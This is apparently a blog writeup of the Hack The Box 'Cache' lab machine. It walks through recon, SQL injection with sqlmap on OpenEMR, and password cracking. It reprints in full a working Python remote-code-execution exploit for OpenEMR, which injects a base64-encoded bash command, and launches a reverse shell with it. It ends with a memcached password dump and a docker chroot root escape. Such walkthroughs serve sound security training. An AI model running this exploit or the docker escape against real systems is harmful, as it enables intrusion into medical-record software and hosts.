Posts HTB Cache Writeup
Post
Cancel

HTB Cache Writeup

Cache

OS: Linux
Difficulty: Medium
Points:30
Release:09 May 2020
IP:10.10.10.188

Information Gathering

Begin my recon with standard nmap

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.80SVN scan initiated Wed May 13 14:16:56 2020 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/z3r0/CTF/HTB/Machine/Cache/scans/_quick_tcp_nmap.txt -oX /home/z3r0/CTF/HTB/Machine/Cache/scans/xml/_quick_tcp_nmap.xml hms.htb
Nmap scan report for hms.htb (10.10.10.188)
Host is up, received user-set (0.18s latency).
rDNS record for 10.10.10.188: cache
Scanned at 2020-05-13 14:16:56 +08 for 36s
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT   STATE SERVICE    REASON  VERSION
22/tcp open  tcpwrapped syn-ack
| ssh-hostkey: 
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
|   256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
80/tcp open  http       syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6CE8D3334381134EB0A89D8FECE6EEB2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: OpenEMR Login
|_Requested resource was interface/login/login.php?site=default

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 13 14:17:32 2020 -- 1 IP address (1 host up) scanned in 36.41 seconds

Port opened: 22, 80

cache.htb

Visited the site, and look for useful info.

Home

Login

The login link clearly in the header nav, and I went to it straight away.

source code

Look at the source code, wish for juicy comments or so, and found unusual jquery dir

jquery/functionality.js

Look on the content, there was harcoded password and username ash

Successfully logged in using login link, but got site maintenance message

Author

Looking for another info, found probably another entry.

Just put hms.htb in my hosts file, and try access it

hms.htb

Went to the main site, redirected to /interface URL with login UI as openEMR service.

gobuster

Run basic scan with gobuster, returned lot of url.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/.hta (Status: 403) [Size: 272]
/.hta.html (Status: 403) [Size: 272]
/.hta.php (Status: 403) [Size: 272]
/.hta.asp (Status: 403) [Size: 272]
/.hta.aspx (Status: 403) [Size: 272]
/.hta.jsp (Status: 403) [Size: 272]
/.hta.txt (Status: 403) [Size: 272]
/.htaccess (Status: 403) [Size: 272]
/.htaccess.txt (Status: 403) [Size: 272]
/.htaccess.html (Status: 403) [Size: 272]
/.htaccess.php (Status: 403) [Size: 272]
/.htaccess.asp (Status: 403) [Size: 272]
/.htaccess.aspx (Status: 403) [Size: 272]
/.htaccess.jsp (Status: 403) [Size: 272]
/.htpasswd (Status: 403) [Size: 272]
/.htpasswd.jsp (Status: 403) [Size: 272]
/.htpasswd.txt (Status: 403) [Size: 272]
/.htpasswd.html (Status: 403) [Size: 272]
/.htpasswd.php (Status: 403) [Size: 272]
/.htpasswd.asp (Status: 403) [Size: 272]
/.htpasswd.aspx (Status: 403) [Size: 272]
/LICENSE (Status: 200) [Size: 35147]
/admin.php (Status: 200) [Size: 937]
/admin.php (Status: 200) [Size: 937]
/config (Status: 301) [Size: 303]
/contrib (Status: 301) [Size: 304]
/controller.php (Status: 200) [Size: 37]
/controllers (Status: 301) [Size: 308]
/custom (Status: 301) [Size: 303]
/images (Status: 301) [Size: 303]
/index.php (Status: 302) [Size: 0]
/index.php (Status: 302) [Size: 0]
/interface (Status: 301) [Size: 306]
/javascript (Status: 301) [Size: 307]
/library (Status: 301) [Size: 304]
/modules (Status: 301) [Size: 304]
/portal (Status: 301) [Size: 303]
/public (Status: 301) [Size: 303]
/server-status (Status: 403) [Size: 272]
/services (Status: 301) [Size: 305]
/setup.php (Status: 200) [Size: 1214]
/sites (Status: 301) [Size: 302]
/sql (Status: 301) [Size: 300]
/templates (Status: 301) [Size: 306]
/tests (Status: 301) [Size: 302]

admin.php

With promising name, admin.php, I tried to access it, and got openEMR version.

SearchSploit

Search about openEMR in searchsploit, well, it returned with several exploits, and the exact version listed as well.

Inspecting the exploit code, it needs authenticated user to run it. Using ash creds as above, failed. Gotta find the right cred.

Searching for another entry point, found useful reading material.

https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf

Exploitation

SQLi

Following the article, that was a vuln report on exact version of openEMR. Read through it, got lot of sqli vuln. I picked add_edit_event_user.php URL.

NOTE: The 1st url was find_appt_popup_user.php, tested it, output was extremely slow, and I have to keep grabing new cookies for burp file. Due to that, I moved to 2nd url

SqlMap

First I intercept the request in burp and save it in file to supply it to sqlmap. With request file saved as burp, run sqlmap with that file as request.

And sqli confirmed.

And got the creds

Crack the creds

With salted cred dumped, cracked it using john.

RCE script

Now I have the valid cred pair, I’m able to run the exploit code from searchsploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python

import argparse
import base64
import requests
import sys

ap = argparse.ArgumentParser(description="OpenEMR RCE")
ap.add_argument("host", help="Path to OpenEMR (Example: http://127.0.0.1/openemr).")
ap.add_argument("-u", "--user", help="Admin username")
ap.add_argument("-p", "--password", help="Admin password")
ap.add_argument("-c", "--cmd", help="Command to run.")
args = ap.parse_args()

ascii = "> .---.  ,---.  ,---.  .-. .-.,---.          ,---.    <\r\n"
ascii+= ">/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   <\r\n"
ascii+= ">| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   <\r\n"
ascii+= ">| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    <\r\n"
ascii+= ">\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   <\r\n"
ascii+= "> )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  <\r\n"
ascii+= ">(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) <\r\n"
ascii+= "                                                       \r\n"
ascii+= "   ={>   P R O J E C T    I N S E C U R I T Y   <}=    \r\n"
ascii+= "                                                       \r\n"
ascii+= "         Twitter : >@Insecurity<                       \r\n"
ascii+= "         Site    : >insecurity.sh<                     \r\n"

green = "\033[1;32m"
red = "\033[1;31m"
clear = "\033[0m"

load = "[>$<] ".replace(">", green).replace("<", clear)
err = "[>-<] ".replace(">", red).replace("<", clear)
intro = ascii.replace(">", green).replace("<", clear)

print(intro)

with requests.session() as s:
    login = {"new_login_session_management": "1",
            "authProvider": "Default",
            "authUser": args.user,
            "clearPass": args.password,
            "languageChoice": "1"
            }

    print(load + "Authenticating with " + args.user + ":" + args.password)
    r = s.post(args.host + "/interface/main/main_screen.php?auth=login&site=default", data=login)
    if "login_screen.php?error=1&site=" in r.text:
        print(err + "Failed to Login.")
        sys.exit(0)

    # This will rewrite and replace your current GLOBALS, please modify this if you don't want that.
    payload = "form_save=Save&srch_desc=&form_0=main_info.php&form_1=..%2F..%2Finterface"
    payload += "%2Fmain%2Fmessages%2Fmessages.php%3Fform_active%3D1&form_2=1&form_3=tabs_"
    payload += "style_full.css&form_4=style_light.css&form_5=__default__&form_6=__default"
    payload += "__&form_7=1&form_8=0&form_9=175&form_10=OpenEMR&form_12=1&form_13=0&form_"
    payload += "14=0&form_16=1&form_21=1&form_22=1&form_23=1&form_24=1&form_25=http%3A%2F"
    payload += "%2Fopen-emr.org%2F&form_26=&form_27=20&form_28=10&form_30=0&form_31=5&for"
    payload += "m_32=0&form_37=English+%28Standard%29&form_38=1&form_42=1&form_43=1&form_"
    payload += "44=1&form_45=1&form_46=1&form_47=1&form_48=1&form_49=1&form_50=1&form_51="
    payload += "0&form_52=0&form_53=&form_54=2&form_55=.&form_56=%2C&form_57=%24&form_58="
    payload += "0&form_59=3&form_60=6%2C0&form_61=0&form_62=0&form_63=_blank&form_69=1&fo"
    payload += "rm_70=1&form_77=1&form_79=&form_80=&form_81=&form_84=1&form_85=1&form_87="
    payload += "1&form_89=1&form_90=1&form_91=1&form_92=Y1&form_93=1&form_94=2&form_95=0&"
    payload += "form_97=14&form_98=11&form_99=24&form_100=20&form_102=1&form_103=0&form_1"
    payload += "04=0&form_105=ICD10&form_106=1&form_107=1&form_112=3&form_115=1&form_116="
    payload += "&form_119=1.00&form_121=0&form_123=&form_125=30&form_126=&form_127=60&for"
    payload += "m_128=&form_129=90&form_130=&form_131=120&form_132=&form_133=150&form_134"
    payload += "=&form_135=1&form_138=1&form_139=1&form_141=1&form_142=0&form_143=localho"
    payload += "st&form_144=&form_145=&form_146=5984&form_147=&form_150=Patient+ID+card&f"
    payload += "orm_151=Patient+Photograph&form_152=Lab+Report&form_153=Lab+Report&form_1"
    payload += "55=100&form_157=8&form_158=17&form_159=15&form_160=day&form_161=1&form_16"
    payload += "2=2&form_163=1&form_164=10&form_165=10&form_166=15&form_167=20&form_168=1"
    payload += "&form_169=%23FFFFFF&form_170=%23E6E6FF&form_171=%23E6FFE6&form_172=%23FFE"
    payload += "6FF&form_173=1&form_174=0&form_176=1&form_177=1&form_178=1&form_181=1&for"
    payload += "m_182=1&form_183=1&form_184=1&form_185=D0&form_186=D0&form_187=0%3A20&for"
    payload += "m_188=0&form_190=33&form_191=0&form_194=7200&form_198=1&form_199=0&form_2"
    payload += "00=0&form_202=&form_203=&form_204=365&form_205=&form_206=1&form_208=&form"
    payload += "_210=&form_211=&form_212=&form_213=&form_214=&form_215=&form_216=SMTP&for"
    payload += "m_217=localhost&form_218=25&form_219=&form_220=&form_221=&form_222=50&for"
    payload += "m_223=50&form_224=&form_225=&form_226=&form_227=50&form_228=&form_229=&fo"
    payload += "rm_230=&form_231=1&form_232=1&form_233=1&form_234=1&form_235=1&form_236=1"
    payload += "&form_237=1&form_238=1&form_239=Model+Registry&form_240=125789123&form_24"
    payload += "1=1&form_242=1&form_243=1&form_244=&form_245=&form_246=1&form_247=1&form_"
    payload += "248=1&form_249=5&form_250=1&form_252=1&form_253=1&form_254=1&form_255=1&f"
    payload += "orm_256=1&form_257=1&form_258=1&form_262=&form_263=6514&form_264=&form_26"
    payload += "5=&form_267=1&form_268=0&form_269=%2Fusr%2Fbin&form_270=%2Fusr%2Fbin&form"
    payload += "_271=%2Ftmp&form_272=%2Ftmp&form_273=26&form_274=state&form_275=1&form_27"
    payload += "6=26&form_277=country&form_278=lpr+-P+HPLaserjet6P+-o+cpi%3D10+-o+lpi%3D6"
    payload += "+-o+page-left%3D72+-o+page-top%3D72&form_279=&form_280=&form_282=2018-07-"
    payload += "23&form_283=1&form_285=%2Fvar%2Fspool%2Fhylafax&form_286=enscript+-M+Lett"
    payload += "er+-B+-e%5E+--margins%3D36%3A36%3A36%3A36&form_288=%2Fmnt%2Fscan_docs&for"
    payload += "m_290=https%3A%2F%2Fyour_web_site.com%2Fopenemr%2Fportal&form_292=1&form_"
    payload += "296=https%3A%2F%2Fyour_web_site.com%2Fopenemr%2Fpatients&form_297=1&form_"
    payload += "299=&form_300=&form_301=&form_302=https%3A%2F%2Fssh.mydocsportal.com%2Fpr"
    payload += "ovider.php&form_303=https%3A%2F%2Fssh.mydocsportal.com&form_305=https%3A%"
    payload += "2F%2Fyour_cms_site.com%2F&form_306=&form_307=&form_308=0&form_309=https%3"
    payload += "A%2F%2Fhapi.fhir.org%2FbaseDstu3%2F&form_312=https%3A%2F%2Fsecure.newcrop"
    payload += "accounts.com%2FInterfaceV7%2FRxEntry.aspx&form_313=https%3A%2F%2Fsecure.n"
    payload += "ewcropaccounts.com%2Fv7%2FWebServices%2FUpdate1.asmx%3FWSDL%3Bhttps%3A%2F"
    payload += "%2Fsecure.newcropaccounts.com%2Fv7%2FWebServices%2FPatient.asmx%3FWSDL&fo"
    payload += "rm_314=21600&form_315=21600&form_316=&form_317=&form_318=&form_319=1&form"
    payload += "_324=&form_325=0&form_327=137&form_328=7C84773D5063B20BC9E41636A091C6F17E"
    payload += "9C1E34&form_329=C36275&form_330=0&form_332=https%3A%2F%2Fphimail.example."
    payload += "com%3A32541&form_333=&form_334=&form_335=admin&form_336=5&form_339=1&form"
    payload += "_346=LETTER&form_347=30&form_348=30&form_349=72&form_350=30&form_351=P&fo"
    payload += "rm_352=en&form_353=LETTER&form_354=5&form_355=5&form_356=5&form_357=8&for"
    payload += "m_358=D&form_359=1&form_360=9&form_361=1&form_362=104.775&form_363=241.3&"
    payload += "form_364=14&form_365=65&form_366=220"

    p = {}
    for c in payload.replace("&", "\n").splitlines():
        a = c.split("=")
        p.update({a[0]: a[1]})
   
    # Linux only, but can be easily modified for Windows.
    _cmd = "|| echo ".encode() + base64.b64encode(args.cmd.encode()) + "|base64 -d|bash".encode()
    p.update({"form_284": _cmd})
    
    print(load + "Injecting payload")
    s.post(args.host + "/interface/super/edit_globals.php", data=p)
    sp = s.get(args.host + "/interface/main/daemon_frame.php") # M4tt D4em0n w0z h3r3 ;PpPpp
    if sp.status_code == 200:
        print(load + "Payload executed")

run it as below:

python rce.py http://hms.htb -u openemr_admin -p xxxxxx -c "$(revsh | grep 'bash -i')"

NOTE: **revsh** is my script to get right command for reverse shell with ip and port defined

Got connection back!

Privesc

user enum

1
2
3
4
5
6
7
8
www-data@cache:/var/www/hms.htb/public_html/interface/main$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Sep 17  2019 .
drwxr-xr-x 23 root  root  4096 May  5 11:14 ..
drwxr-xr-x 11 ash   ash   4096 May  6 08:50 ash
drwxr-x---  5 luffy luffy 4096 May  6 08:50 luffy
www-data@cache:/var/www/hms.htb/public_html/interface/main$

verify with /etc/passwd

1
2
3
4
5
6
www-data@cache:/home$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
www-data@cache:/home$ 

ash was a valid user in this machine.

su ash

ash as the same name found on the cache site, I tried to login with su.

su ash with pass H@v3_fun

Logged in as ash!!

Binary enum

Run my enum script, and search for binary run by root, saw docker program

Tried run docker by ash, got permission denied. Ash didn’t have permission to run docker, someone else does.

Memcache

In the same enum file, I saw memcache also run in this machine.

verify it, and got the port it listen.

Telnet

Follow this document, I was able to extract the exact info needed.

Run telnet to communicate with memcache

Run cachedump command to list the items

With that list, with get command, I manage to get luffy passwd, 0n3_p1ec3

su luffy

su luffy with 0n3_p1ec3, I’m luffy now!!

docker

Now with luffy account, try to run docker again, worked.

The next step, pretty straight forward.

From GTFO bins, I can get root shell from docker service.

Victory

Run below command, I managed to spawn root shell:

docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash

privflag
user5f0c29a116aecd1248ebd16301fb167e
root8b4153ff21a04367cc987a5c4e23281b
This post is licensed under CC BY 4.0 by the author.

Trending Tags

Contents

Trending Tags